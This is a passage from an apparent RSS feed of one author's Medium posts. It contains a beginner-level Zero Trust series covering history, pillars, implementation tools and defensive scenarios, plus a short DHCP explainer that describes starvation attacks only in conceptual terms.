understanding how data is kept safe. For a SOC Analyst, knowing the basics of cryptography builds a strong foundation. It helps us to connect the dots between technology and security, making us more confident in handling incidents.</p><p>Simply, Cryptography is the language of trust in cybersecurity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec062a061109" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Trust: The Future of Cybersecurity]]></title>
            <link>https://roshinnigandhi.medium.com/zero-trust-the-future-of-cybersecurity-bdff66b76f04?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdff66b76f04</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[zero-trust]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-security-company]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Sun, 07 Sep 2025 18:31:55 GMT</pubDate>
            <atom:updated>2025-09-08T13:00:08.837Z</atom:updated>
            <content:encoded><![CDATA[<p>Part 5: Zero Trust Beyond the Buzzword</p><h4>Introduction:</h4><p>Zero Trust is no longer a new idea. Most professionals already know the phrase “never trust, always verify.” But what matters now is where it goes next. Technology is moving fast. So, Zero Trust must evolve too. Let’s explore the future of Zero Trust and how it will shape cybersecurity in the years to come.</p><h4>1. Smarter with AI and Machine Learning</h4><p>Zero Trust today relies on strict rules and policies. But attackers change their methods daily. This is where AI comes in. Future Zero Trust systems will use AI to study behavior in real time. Instead of waiting for rules to update, AI will spot unusual activity quickly. For example, if a user normally logs in from Chennai but suddenly logs in from Tokyo, the system can block the session instantly.</p><h4>2. Adaptive Authentication</h4><p>Passwords and even MFA are no longer enough on their own. Future Zero Trust will rely on adaptive authentication. This means the system will adjust security checks based on risk. If the login looks safe, it will be smooth. If risk is higher, it may ask for stronger proof. This keeps security strong without slowing down the user.</p><h4>3. Zero Trust and Cloud Everywhere</h4><p>As more businesses move to cloud and hybrid models, Zero Trust will grow with it. In the future, Zero Trust won’t just guard company networks. It will protect users, devices and data. From home laptops to global data centers, the model will follow users everywhere.</p><h4>4. Preparing for Quantum Threats</h4><p>Quantum computing may sound like science fiction, but it is real and advancing. Once powerful enough, it could break today’s encryption. That is a huge risk to security models. The future of Zero Trust will include quantum-safe encryption. This ensures even the most advanced computers cannot easily break into protected systems.</p><h4>5. A Culture, Not Just a Model</h4><p>The biggest shift will be mindset. Zero Trust will move beyond being a tool for IT teams. It will become part of the culture of every organization. Leaders, employees and partners will all see security as a shared duty. That culture shift will define the real future of Zero Trust.</p><h4>Conclusion:</h4><p>Zero Trust is more than a buzzword. It is the path forward for modern security. With AI, adaptive checks, global cloud protection and preparation for quantum risks, the model will only grow stronger. The future belongs to organizations that see Zero Trust not as a project, but as a living strategy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdff66b76f04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Trust in Action: Real-World Use Cases and Case Studies]]></title>
            <link>https://roshinnigandhi.medium.com/zero-trust-in-action-real-world-use-cases-and-case-studies-5d5ee8da35d3?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d5ee8da35d3</guid>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 18:31:35 GMT</pubDate>
            <atom:updated>2025-09-03T18:31:35.554Z</atom:updated>
            <content:encoded><![CDATA[<h4>Part 4: How modern security stops ransomware, insider threats and cloud breaches</h4><h3>Introduction:</h3><p>Zero Trust is not just a buzzword—it’s a practical security model that works against today’s biggest threats. Instead of blindly trusting users or devices inside the network, Zero Trust enforces verification at every step. Let’s look at three real-world style scenarios, like ransomware, insider threats and cloud breaches, to see how Zero Trust makes a difference.</p><h3>1. Stopping Ransomware Before It Spreads:</h3><p>Imagine a hospital where an employee clicks on a phishing email. Malware enters the system and tries to spread across the network.</p><ul><li><strong>Traditional model:</strong> Once inside, the malware moves freely and encrypts patient records.</li><li><strong>With Zero Trust:</strong> Micro-segmentation blocks lateral movement. Multi-Factor Authentication stops stolen credentials from being reused. Continuous monitoring detects abnormal activity quickly.</li><li><strong>Result:</strong> The ransomware is contained to one device and patient records stay safe.</li></ul><h3>2. Preventing Insider Data Theft:</h3><p>Picture an employee at a financial company planning to resign. Before leaving, they try to copy sensitive customer data onto a USB drive.</p><ul><li><strong>Traditional model:</strong> Insiders often have wide access, so data can be stolen unnoticed.</li><li><strong>With Zero Trust:</strong> Least-privilege access means the employee only sees data they need for their job. Behavioral monitoring spots unusual actions like mass downloads. Alerts trigger an immediate response.</li><li><strong>Result:</strong> The insider is blocked and customer data is protected.</li></ul><h3>3. Securing the Cloud from Misconfigurations</h3><p>Think of a retailer using cloud storage to manage customer orders. A developer accidentally leaves a storage bucket open to the internet. Hackers scan for misconfigured resources and attempt to steal the data.</p><ul><li><strong>Traditional model:</strong> Cloud misconfigurations go unnoticed until attackers exploit them.</li><li><strong>With Zero Trust:</strong> Access to the storage is restricted with identity-based policies. Continuous monitoring flags the open bucket before attackers act. Security automation shuts it down.</li><li><strong>Result:</strong> Sensitive customer data never leaves the system.</li></ul><h3>4. Protecting Remote Workforces</h3><p>Consider a tech startup with employees working from home. One worker connects from a personal laptop that doesn’t have updated antivirus.</p><ul><li><strong>Traditional model:</strong> A VPN lets the entire laptop connect to the corporate network, even if it’s unsafe.</li><li><strong>With Zero Trust:</strong> Device posture is checked before access. If the laptop isn’t secure, access is blocked or restricted. Apps are accessed directly, not through a wide-open VPN tunnel.</li><li><strong>Result:</strong> Business continues safely, without bringing infected devices into the network.</li></ul><h3>5. Defending Against Supply Chain Attacks</h3><p>Think of a manufacturer that uses third-party software for operations. An attacker compromises the vendor’s update server and tries to push malicious code.</p><ul><li><strong>Traditional model:</strong> The company blindly trusts updates from the vendor, so malware enters.</li><li><strong>With Zero Trust:</strong> Every code execution and connection is verified. Applications are run in isolated environments. Continuous monitoring flags unusual activity from the vendor software.</li><li><strong>Result:</strong> The malicious update fails to spread across the organization.</li></ul><h3>6. Protecting Critical Infrastructure</h3><p>Think of a power plant or water supply system. Attackers try to break into the industrial control systems (ICS) through a weak remote access point.</p><ul><li><strong>Traditional model:</strong> Once inside, attackers can directly control machines.</li><li><strong>With Zero Trust:</strong> Network segmentation isolates control systems from IT systems. Strong authentication ensures only approved engineers can access ICS remotely.</li><li><strong>Result:</strong> Even if attackers breach IT, they can’t jump into operational technology.</li></ul><h3>7. Blocking Phishing &amp; Credential Abuse</h3><p>Picture a university where a professor receives a fake email that looks like an IT request and enters their password. Hackers now try to log into student data portals.</p><ul><li><strong>Traditional model:</strong> Passwords alone mean the attacker can get in.</li><li><strong>With Zero Trust:</strong> MFA and continuous authentication block login from suspicious devices and locations. The attacker’s access attempt is denied.</li><li><strong>Result:</strong> Student data remains secure, even though the password was stolen.</li></ul><h3>Best Practices Across All Scenarios</h3><ul><li>Enforce Multi-Factor Authentication (MFA) everywhere.</li><li>Apply least privilege so no user has more access than necessary.</li><li>Use continuous monitoring to detect anomalies in real time.</li><li>Combine ‘automation + human response&#39; to contain threats fast.</li></ul><h3>Conclusion:</h3><p>Zero Trust doesn’t stop attacks from happening—but it makes sure attacks don’t succeed. Whether it’s ransomware, an insider, or a cloud misconfiguration, Zero Trust provides layers of defense that keep damage limited and data safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d5ee8da35d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Implementing Zero Trust: Steps, Tools and Best Practices]]></title>
            <link>https://roshinnigandhi.medium.com/implementing-zero-trust-steps-tools-and-best-practices-7003fb6f5d94?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/7003fb6f5d94</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[zero-trust]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Sun, 31 Aug 2025 18:33:36 GMT</pubDate>
            <atom:updated>2025-08-31T18:33:36.724Z</atom:updated>
            <content:encoded><![CDATA[<p>Part 3: A practical guide to moving from theory to real-world security</p><h3>Introduction</h3><p>Zero Trust Architecture (ZTA) is a critical security strategy. May be the principle of “never trust, always verify” sounds simple. But many organizations struggle with how to implement Zero Trust in practice. In this article, we break ZTA down into practical steps, essential tools and best practices. So that even beginners can understand how organizations implement this model.</p><h3>Core Steps to Implement Zero Trust</h3><p><strong>Step 1: The initial step is to identify the “Protect Surface”</strong> <br>Zero Trust does not protect everything equally. Instead of this, ZTA focus on sensitive data, key applications, assets and services.</p><p><strong>Step 2: Map the Transaction Flows</strong><br>Understand how users, devices and applications interact with your protect surface. This gives clarity on communication patterns and potential risks.</p><p><strong>Step 3: Build Micro-Perimeters<br></strong>Use techniques like network segmentation and micro-segmentation. This isolates critical assets. Each segment should require strong authentication and authorization.</p><p><strong>Step 4: Enforce Strong Identity and Access Controls</strong></p><ul><li>Implement Multi-Factor Authentication (MFA)</li><li>Apply the Principle of Least Privilege (POLP)</li><li>Continuously monitor session behavior</li></ul><p><strong>Step 5: Monitor and Respond Continuously<br></strong>Logging, threat detection and incident response become more important in Zero Trust. Visibility is a key to assume breaches will happen, and prepare accordingly.</p><h3>Tools that Enable Zero Trust</h3><ul><li><strong>Identity and Access Management (IAM):</strong> Okta, Microsoft Entra (Azure AD), Ping Identity</li><li><strong>Multi-Factor Authentication (MFA):</strong> Duo Security, Google Authenticator</li><li><strong>Network Micro-Segmentation:</strong> VMware NSX, Cisco Tetration, Illumio</li><li><strong>Endpoint Detection and Response (EDR):</strong> CrowdStrike, SentinelOne, Microsoft Defender for Endpoint</li><li><strong>SIEM / Threat Monitoring:</strong> Splunk, Elastic Security, IBM QRadar</li><li><strong>Secure Access Service Edge (SASE):</strong> Zscaler, Palo Alto Prisma Access</li></ul><h3>Best Practices for a Smooth Transition:</h3><ul><li>Adopt Zero Trust Gradually: Start small (single application or department) and scale.</li><li>Don’t Skip Visibility: Without logs and monitoring, Zero Trust loses its effectiveness.</li><li>Focus on User Experience: Overly strict controls may frustrate employees; balance security with usability.</li><li>Regularly Review Policies: Attackers evolve, so policies and access rules must adapt too.</li><li>Educate Stakeholders: Train employees and leadership about the “why” behind Zero Trust.</li></ul><p>Conclusion</p><p>Zero Trust is not a single product — it’s a security philosophy supported by tools and continuous processes. By breaking it into steps, adopting the right tools and following best practices, organizations can move towards a resilient modern security model.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7003fb6f5d94" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Trust Isn’t Just a Slogan]]></title>
            <link>https://roshinnigandhi.medium.com/zero-trust-isnt-just-a-slogan-25c0ce28b844?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/25c0ce28b844</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[zero-trust]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Wed, 27 Aug 2025 18:31:33 GMT</pubDate>
            <atom:updated>2025-08-27T18:31:33.413Z</atom:updated>
            <content:encoded><![CDATA[<h4>Part 2: Breaking Down the Core Pillars</h4><h3>Introduction:</h3><blockquote><em>In the first part of this series, we explored how cybersecurity has evolved. We deeply understood the core concepts from traditional perimeter-based security to the modern concept of Zero Trust Architecture (ZTA). But knowing why Zero Trust exists is just a half of the story. The real question is: how does Zero Trust actually work?</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4KgE7d4bMW6YO72avPAxA.png" /></figure><p>Zero Trust is not a single product or quick fix. It is a security framework built on several core pillars that work together to reduce risk. The main focuses are to minimize the attack surface and protect critical assets. Let’s break them down one by one.</p><h3>1. Identity Security – The New Perimeter:</h3><p>In Zero Trust, identity becomes the primary security boundary. Every user, device and service must prove who they are before accessing resources.</p><ul><li>Strong authentication is key (MFA, biometrics, passwordless logins).</li><li>Access is based on verified identity, not just being <strong>inside the network.</strong></li><li>Even trusted insiders are continuously validated.</li><li>Think of it as a checkpoint where everyone — even employees or partners — must show their ID every single time.</li></ul><h3>2. Least-Privilege Access – No More “Too Much Power”:</h3><p>Zero Trust operates on the principle of <strong>“just enough, just in time”</strong>. Users only get the exact level of access they need and only for a limited time.</p><ul><li>HR staff can access payroll data but not engineering files.</li><li>Admin rights are granted temporarily but not permanently.</li><li>Reduces insider threats and limits damage if credentials are stolen.</li></ul><p>This ensures no single compromised account can expose the entire system.</p><h3>3. Device Trust &amp; Health Verification:</h3><p>It’s not enough to know <strong>‘who&#39;</strong> is connecting; we must also trust <strong>‘what&#39;</strong> is connecting. Devices are constantly checked for compliance:</p><ul><li>Is the laptop running the latest security patches?</li><li>Is the phone rooted or jailbroken?</li><li>Is antivirus or endpoint protection active?</li></ul><p>Unhealthy or suspicious devices are restricted which reduces the risk of malware spreading across the network.</p><h3>4. Micro-Segmentation &amp; Network Controls:</h3><p>Traditional networks were like wide-open office floors: once inside, you could move freely. Zero Trust replaces this with Micro-segmentation which is about breaking networks into smaller and isolated zones. So,</p><ul><li>Hackers can’t roam freely even if they break in.</li><li>Access between segments is tightly controlled.</li><li>Limits lateral movement of ransomware or intruders.</li></ul><p>It’s like building smaller rooms inside the castle, each with its own locked door.</p><h3>5. Continuous Monitoring &amp; Analytics:</h3><p>Zero Trust is not a one-time security check. It requires constant visibility into user behavior and network traffic.</p><ul><li>If a user logs in from India and then five minutes later from the US → red flag.</li><li>Anomalous patterns trigger alerts and adaptive responses.</li><li>Security teams use analytics, AI and SIEM tools to detect threats in real time.</li></ul><p>This <strong>“always watching”</strong> approach ensures that trust is never permanent.</p><h3>6. Data-Centric Security – Protecting What Really Matters:</h3><p>At its core, security is about protecting data. ZTA focuses on keeping sensitive data secure no matter where it lives:</p><ul><li>Data is encrypted at rest, in transit and sometimes even in use.</li><li>Policies decide who can access which data and under what conditions.</li><li>Classification ensures critical business or personal information gets the strongest protection.</li></ul><p>Because in the end, attackers don’t target firewalls or devices — they want data.</p><h3>Conclusion:</h3><p>Zero Trust is not just about distrusting everyone. It’s about building a layered defense system where trust is earned continuously, not assumed. Each pillar from identity to data that strengthens the others by creating a security model that anticipates breaches and contains their impact.</p><p>Where perimeter security relied on walls and gates, Zero Trust builds checkpoints at every level, ensuring that even if an attacker slips in, they can’t move far.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25c0ce28b844" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Trust — Never Trust, Always Verify]]></title>
            <link>https://roshinnigandhi.medium.com/zero-trust-never-trust-always-verify-cf6c409d6eb0?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf6c409d6eb0</guid>
            <category><![CDATA[zero-trust]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 18:31:32 GMT</pubDate>
            <atom:updated>2025-08-24T18:31:32.958Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zero Trust — Never Trust, Always Verify</h3><h3>Part 1: The Evolution of Zero Trust Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3H-pP_1nCHOMbpjNsOcM0g.png" /></figure><h3>Introduction</h3><p>Cybersecurity is an ever-evolving field which adapts the way people use technology. As technology advances, the need for new practices to safeguard sensitive information, business operations and personal data increases.</p><p>In earlier times, data primarily stayed within company servers. So the <strong>perimeter security model — </strong>built on firewalls, VPNs and internal networks — was considered sufficient. It worked well for closed environments where digital assets were inside the corporate boundary.</p><p>However, the digital landscape has been changing. Cloud computing, mobile devices, third-party integrations and increasing of threats have blurred those boundaries. Traditional approaches to security are no longer enough to handle these complexities.</p><p>This shift has given rise to <strong>Zero Trust Architecture (ZTA)</strong> , a modern security model built on the principle of <em>“never trust, always verify.”</em></p><h3>Why Perimeter Security Fell Short</h3><p>The core principle of the perimeter model (also known as the castle-and-moat approach) is</p><p><strong><em>“Anything inside the network is safe.”</em></strong></p><p>It’s like locking the front door but leaving every room inside wide open. So the principle does not suit for hold today’s IT environments. Nowadays, the new technologies are borderless:</p><ul><li><strong>Cloud computing</strong> has moved data outside physical servers.</li><li><strong>Remote work</strong> means employees log in from anywhere.</li><li><strong>Mobile and IoT</strong> devices bring new and unmanaged entry points.</li><li><strong>Third-party integrations</strong> expand the attack surface.</li><li><strong>Sophisticated cyber threats</strong> exploit trust placed inside networks.</li></ul><p>It means once attackers bypass the firewall, they often have free lateral movement across the entire system. This is why traditional “castle-and-moat” security no longer works.</p><h3>The Rise of Zero Trust</h3><p>These limitations of perimeter Security led to a new approach: <strong>Zero Trust Architecture (ZTA)</strong>. Unlike older models, Zero Trust does not assume internal traffic is safe. Its principle is simple but more powerful:</p><p><strong><em>“Never trust, always verify.”</em></strong></p><p>This model enforces:</p><ul><li><strong>Strict identity verification</strong> for every user and device without the consideration of boundary (internal or external).</li><li><strong>Least privilege access </strong>ensures users only get what they truly need.</li><li><strong>Continuous monitoring</strong> instead of one-time authentication.</li></ul><p>Whether the request comes from inside the office or a remote laptop, Zero Trust demands proof before granting access.</p><h3>Conclusion:</h3><p>Cybersecurity isn’t just about technology; it is about trust. Businesses can no longer rely on walls; they need security that adapts to how work actually happens. Zero Trust provides resilience in a world where <strong>perimeters are blurred, threats are constant and data is everywhere</strong>.</p><p>The journey from perimeter security to Zero Trust shows how cybersecurity emerged alongside technology itself. The “moat and castle” mindset may have defined the past, but the future is clear: Zero Trust is not optional anymore — it’s essential.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf6c409d6eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dynamic Host Configuration Protocol]]></title>
            <link>https://roshinnigandhi.medium.com/dynamic-host-configuration-protocol-a8377aaf38d7?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8377aaf38d7</guid>
            <category><![CDATA[dhcp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Thu, 21 Aug 2025 18:17:07 GMT</pubDate>
            <atom:updated>2025-08-21T18:27:42.237Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is it?</h3><p>Dynamic Host Configuration Protocol is a network protocol used for assigning IP addresses and other network configuration parameters automatically to the networking devices on a network.</p><p>DHCP is based on a client-server model and uses UDP ports 67 (server) &amp; 68 (client).</p><h3>Significance of DHCP:-</h3><p>without an IP address, the client cannot establish a connection to the server.</p><p>Assigning IP address manually is tedious at the Enterprises level. So, DHCP plays an important role in networking.</p><p>DHCP allows devices to connect to a network and receive all necessary network information, like IP address, subnet mask, default gateway, and DNS server addresses, automatically from a DHCP server.</p><h3>DORA Process:-</h3><p>DORA stands for Discover, Offer, Request, Acknowledge. DHCP uses Dora Process to provide an IP Address to hosts or client machines.</p><h4>Discover Message:</h4><p>This message is generated by the Client host in order to discover if there is any DHCP server/servers are present in a network or not. This message is broadcasted to all devices present in a network to find the DHCP server.</p><h4>Offer Message:</h4><p>The server will respond to the host in this message specifying the unleased IP address and other network configuration information.</p><p>This message is broadcasted by the server.</p><p>The client accepts the message from the DHCP server which sends first if there are various DHCP Servers.</p><h4>Request Message:</h4><p>When a client receives an offer message, it responds by broadcasting a DHCP request message. The client will produce a gratuitous ARP in order to find if there is any other host present in the network with the same IP address. Till this stage, the IP address is not confirmed.</p><h4>Acknowledgement Message:</h4><p>In response to the request message received, the server will make an entry with a specified client ID and bind the IP address offered with lease time. Now, the client will have the IP address provided by the server.</p><h3>DHCP Starvation Attack:-</h3><p>DHCP starvation attack happens when a hacker floods a DHCP server with requests for IP addresses. This overwhelms the server, making it unable to assign addresses to legitimate users. The hacker can then block access for authorized users by exhausting available addresses and potentially set up a rogue DHCP server to intercept and manipulate network traffic, which could lead to a MITM attack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8377aaf38d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>